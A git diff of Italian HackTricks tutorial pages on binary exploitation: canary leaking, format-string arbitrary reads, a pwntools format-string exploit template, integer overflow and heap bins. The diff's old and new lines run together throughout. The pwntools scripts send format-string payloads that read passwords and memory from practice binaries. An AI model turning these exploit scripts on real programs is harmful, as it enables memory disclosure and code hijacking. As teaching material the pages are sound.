Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di Github.
</details> </details>
{% endhint %}
## Ingrandire lo stack stampato ## Ingrandire lo stack stampato
Immagina una situazione in cui un **programma vulnerabile** a un overflow dello stack può eseguire una funzione **puts** che **punta** a una **parte** dell'**overflow dello stack**. L'attaccante sa che il **primo byte del canary è un byte nullo** (`\x00`) e il resto del canary sono byte **casuali**. Quindi, l'attaccante può creare un overflow che **sovrascrive lo stack fino al solo primo byte del canary**. Immagina una situazione in cui un **programma vulnerabile** a un overflow dello stack può eseguire una funzione **puts** che punta a una **parte** dell'**overflow dello stack**. L'attaccante sa che il **primo byte del canary è un byte nullo** (`\x00`) e il resto del canary sono byte **casuali**. Quindi, l'attaccante può creare un overflow che **sovrascrive lo stack fino al solo primo byte del canary**.
Successivamente, l'attaccante **chiama la funzionalità puts** nel mezzo del payload che **stamperà tutto il canary** (eccetto il primo byte nullo). Successivamente, l'attaccante **chiama la funzionalità puts** nel mezzo del payload che **stamperà tutto il canary** (eccetto il primo byte nullo).
Con queste informazioni, l'attaccante può **creare e inviare un nuovo attacco** conoscendo il canary (nella stessa sessione del programma). Con queste informazioni, l'attaccante può **creare e inviare un nuovo attacco** conoscendo il canary (nella stessa sessione del programma).
Ovviamente, questa tattica è molto **limitata** poiché l'attaccante deve essere in grado di **stampare** il **contenuto** del suo **payload** per **estrapolare** il **canary** e quindi essere in grado di creare un nuovo payload (nella **stessa sessione del programma**) e **inviare** il **vero buffer overflow**. Ovviamente, questa tattica è molto **limitata** poiché l'attaccante deve essere in grado di **stampare** il **contenuto** del suo **payload** per **esfiltrare** il **canary** e quindi essere in grado di creare un nuovo payload (nella **stessa sessione del programma**) e **inviare** il **vero buffer overflow**.
**Esempi CTF:**&#x20; **Esempi CTF:**&#x20;
@ -42,16 +43,17 @@ Con una **lettura arbitraria** come quella fornita dalle **stringhe di formato**
* [https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html](https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html) * [https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html](https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html)
* Questa sfida abusa in modo molto semplice di una stringa di formato per leggere il canary dallo stack * Questa sfida abusa in modo molto semplice di una stringa di formato per leggere il canary dallo stack
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di Github.
</details> </details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Formati delle stringhe - Esempio di Lettura Arbitraria # Esempio di Lettura Arbitraria - Stringhe di Formato
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking su AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. * **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
</details> </details>
{% endhint %}
## Inizio Lettura Binaria ## Inizio Lettura Binaria
@ -45,14 +46,14 @@ payload += p64(0x00400000)
p.sendline(payload) p.sendline(payload)
log.info(p.clean()) log.info(p.clean())
``` ```
* L'**offset è 11** perché impostando diverse As e **forzando** con un ciclo gli offset da 0 a 50, si è scoperto che all'offset 11 e con 5 caratteri extra (pipe `|` nel nostro caso), è possibile controllare un intero indirizzo. * L'**offset è 11** perché impostando diverse A e **forzando** con un ciclo gli offset da 0 a 50, si è scoperto che all'offset 11 e con 5 caratteri extra (pipe `|` nel nostro caso), è possibile controllare un intero indirizzo.
* Ho usato **`%11$p`** con padding fino a quando l'indirizzo era tutto 0x4141414141414141 * Ho usato **`%11$p`** con padding fino a quando ho visto che l'indirizzo era tutto 0x4141414141414141
* Il payload della **stringa di formato è PRIMA dell'indirizzo** perché il **printf smette di leggere a un byte nullo**, quindi se inviamo prima l'indirizzo e poi la stringa di formato, il printf non raggiungerà mai la stringa di formato poiché troverà un byte nullo prima * Il **payload della stringa di formato è PRIMA dell'indirizzo** perché il **printf smette di leggere a un byte nullo**, quindi se inviamo prima l'indirizzo e poi la stringa di formato, il printf non raggiungerà mai la stringa di formato poiché troverà prima un byte nullo
* L'indirizzo selezionato è 0x00400000 perché è dove inizia il binario (senza PIE) * L'indirizzo selezionato è 0x00400000 perché è dove inizia il binario (senza PIE)
<figure><img src="broken-reference" alt="" width="477"><figcaption></figcaption></figure> <figure><img src="broken-reference" alt="" width="477"><figcaption></figcaption></figure>
## Leggi le password ## Leggere le password
```c ```c
#include <stdio.h> #include <stdio.h>
#include <string.h> #include <string.h>
@ -108,9 +109,9 @@ Nell'immagine è possibile vedere che possiamo ottenere in modo non autorizzato
<figure><img src="../../.gitbook/assets/image (1233).png" alt="" width="338"><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1233).png" alt="" width="338"><figcaption></figcaption></figure>
### Leggi i dati ### Lettura dei dati
Eseguendo lo stesso exploit ma con `%p` invece di `%s` è possibile ottenere in modo non autorizzato un indirizzo di heap dalla stack a `%25$p`. Inoltre, confrontando l'indirizzo ottenuto (`0xaaaab7030894`) con la posizione della password in memoria in quel processo possiamo ottenere la differenza degli indirizzi: Eseguendo lo stesso exploit ma con `%p` invece di `%s` è possibile ottenere in modo non autorizzato un indirizzo di heap dalla stack in `%25$p`. Inoltre, confrontando l'indirizzo ottenuto (`0xaaaab7030894`) con la posizione della password in memoria in quel processo possiamo ottenere la differenza tra gli indirizzi:
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure> <figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
@ -177,16 +178,17 @@ p.close()
``` ```
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure> <figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
{% hint style="success" %}
Impara e pratica l'hacking su AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e ai [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di github. * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details> </details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Modello di stringhe di formato # Modello di stringhe di formato
{% hint style="success" %}
Impara e pratica l'Hacking su AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. * **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e ai repository github di [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
```python ```python
from pwn import * from pwn import *
from time import sleep from time import sleep
@ -152,16 +153,17 @@ format_string.execute_writes()
P.interactive() P.interactive()
``` ```
{% hint style="success" %}
Impara e pratica l'hacking su AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di Github. * **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
</details> </details>
{% endhint %}

View file

@ -1,22 +1,23 @@
# Integer Overflow # Integer Overflow
{% hint style="success" %}
Impara e pratica l'hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a ero con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
## Informazioni di Base ## Informazioni di Base
Al centro di un **integer overflow** c'è il limite imposto dalla **dimensione** dei tipi di dati nella programmazione informatica e dall'**interpretazione** dei dati. Al centro di un **overflow di interi** c'è il limite imposto dalla **dimensione** dei tipi di dati nella programmazione informatica e dall'**interpretazione** dei dati.
Ad esempio, un **intero non firmato a 8 bit** può rappresentare valori da **0 a 255**. Se si tenta di memorizzare il valore 256 in un intero non firmato a 8 bit, esso si riavvolge a 0 a causa della limitazione della sua capacità di memorizzazione. Allo stesso modo, per un **intero non firmato a 16 bit**, che può contenere valori da **0 a 65.535**, aggiungere 1 a 65.535 riavvolgerà il valore a 0. Ad esempio, un **intero non firmato a 8 bit** può rappresentare valori da **0 a 255**. Se si tenta di memorizzare il valore 256 in un intero non firmato a 8 bit, esso si riavvolge a 0 a causa della limitazione della sua capacità di memorizzazione. Allo stesso modo, per un **intero non firmato a 16 bit**, che può contenere valori da **0 a 65.535**, aggiungere 1 a 65.535 riavvolgerà il valore a 0.
@ -43,10 +44,9 @@ println!("{}", add_result);
{% endtab %} {% endtab %}
{% tab title="C" %} {% tab title="C" %}
## Integer Overflow ## Integer Overflow
Integer overflow occurs when an arithmetic operation results in a value that exceeds the maximum size that the data type can hold. This can lead to unexpected behavior in the program, such as wrapping around to a minimum value or causing a crash. Integer overflow occurs when an arithmetic operation results in a value that exceeds the maximum size that the data type can hold. This can lead to unexpected behavior in the program, such as wrapping around to a minimum value or causing a crash. Integer overflow can be exploited by attackers to manipulate the program's behavior and potentially execute malicious code.
### Example ### Example
@ -54,7 +54,7 @@ Integer overflow occurs when an arithmetic operation results in a value that exc
#include <stdio.h> #include <stdio.h>
int main() { int main() {
unsigned int x = 4294967295; // Maximum value for unsigned int unsigned int x = 4294967295; // Maximum value for an unsigned int
x = x + 1; x = x + 1;
printf("Value of x: %u\n", x); printf("Value of x: %u\n", x);
@ -63,11 +63,9 @@ int main() {
} }
``` ```
In this example, adding 1 to the maximum value of an unsigned integer will result in an integer overflow, causing `x` to wrap around to 0. In this example, adding 1 to the maximum value of an unsigned integer results in an integer overflow, causing `x` to wrap around to 0.
To prevent integer overflow, it is important to validate input values and check the result of arithmetic operations to ensure they do not exceed the limits of the data type being used. To prevent integer overflow, it is important to validate input values and check the result of arithmetic operations to ensure they do not exceed the limits of the data type.
{% endtab %}
```c ```c
#include <stdio.h> #include <stdio.h>
#include <limits.h> #include <limits.h>
@ -125,8 +123,6 @@ printf("Processed Input is within range: %u\n", processedInput);
return 0; return 0;
} }
``` ```
In questo esempio, se un utente inserisce un numero negativo, verrà interpretato come un grande numero non firmato a causa del modo in cui i valori binari vengono interpretati, potenzialmente portando a comportamenti inaspettati.
### Altri Esempi ### Altri Esempi
* [https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html](https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html) * [https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html](https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html)
@ -143,17 +139,3 @@ In questo esempio, se un utente inserisce un numero negativo, verrà interpretat
## ARM64 ## ARM64
Questo **non cambia in ARM64** come si può vedere in [**questo post sul blog**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/). Questo **non cambia in ARM64** come si può vedere in [**questo post sul blog**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/).
<details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Altri modi per supportare HackTricks:
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details>

View file

@ -1,35 +1,36 @@
# Bins & Assegnazioni di Memoria # Bins & Assegnazioni di Memoria
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details> </details>
{% endhint %}
## Informazioni di Base ## Informazioni di Base
Per migliorare l'efficienza su come i chunk sono memorizzati, ogni chunk non è solo in una lista concatenata, ma ci sono diversi tipi. Questi sono i bins e ci sono 5 tipi di bins: [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) small bins, 63 large bins, 1 unsorted bin, 10 fast bins e 64 tcache bins per thread. Per migliorare l'efficienza su come i chunk sono memorizzati, ogni chunk non è solo in una lista concatenata, ma ci sono diversi tipi. Questi sono i bins e ci sono 5 tipi di bins: [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) small bins, 63 large bins, 1 unsorted bin, 10 fast bins e 64 tcache bins per thread.
L'indirizzo iniziale di ogni bin non ordinato, small e large è all'interno dello stesso array. L'indice 0 non è utilizzato, 1 è l'unsorted bin, i bins da 2 a 64 sono small bins e i bins da 65 a 127 sono large bins. L'indirizzo iniziale di ogni bin non ordinato, small e large è all'interno dello stesso array. L'indice 0 non è utilizzato, 1 è il bin non ordinato, i bins 2-64 sono small bins e i bins 65-127 sono large bins.
### Bins Tcache (Cache Per-Thread) ### Bins Tcache (Cache Per-Thread)
Anche se i thread cercano di avere il proprio heap (vedi [Arenas](bins-and-memory-allocations.md#arenas) e [Subheaps](bins-and-memory-allocations.md#subheaps)), c'è la possibilità che un processo con molti thread (come un server web) **finirà per condividere l'heap con altri thread**. In questo caso, la soluzione principale è l'uso di **lockers**, che potrebbero **rallentare significativamente i thread**. Anche se i thread cercano di avere il proprio heap (vedi [Arenas](bins-and-memory-allocations.md#arenas) e [Subheaps](bins-and-memory-allocations.md#subheaps)), c'è la possibilità che un processo con molti thread (come un server web) **finirà per condividere l'heap con altri thread**. In questo caso, la soluzione principale è l'uso di **lock**, che potrebbero **rallentare significativamente i thread**.
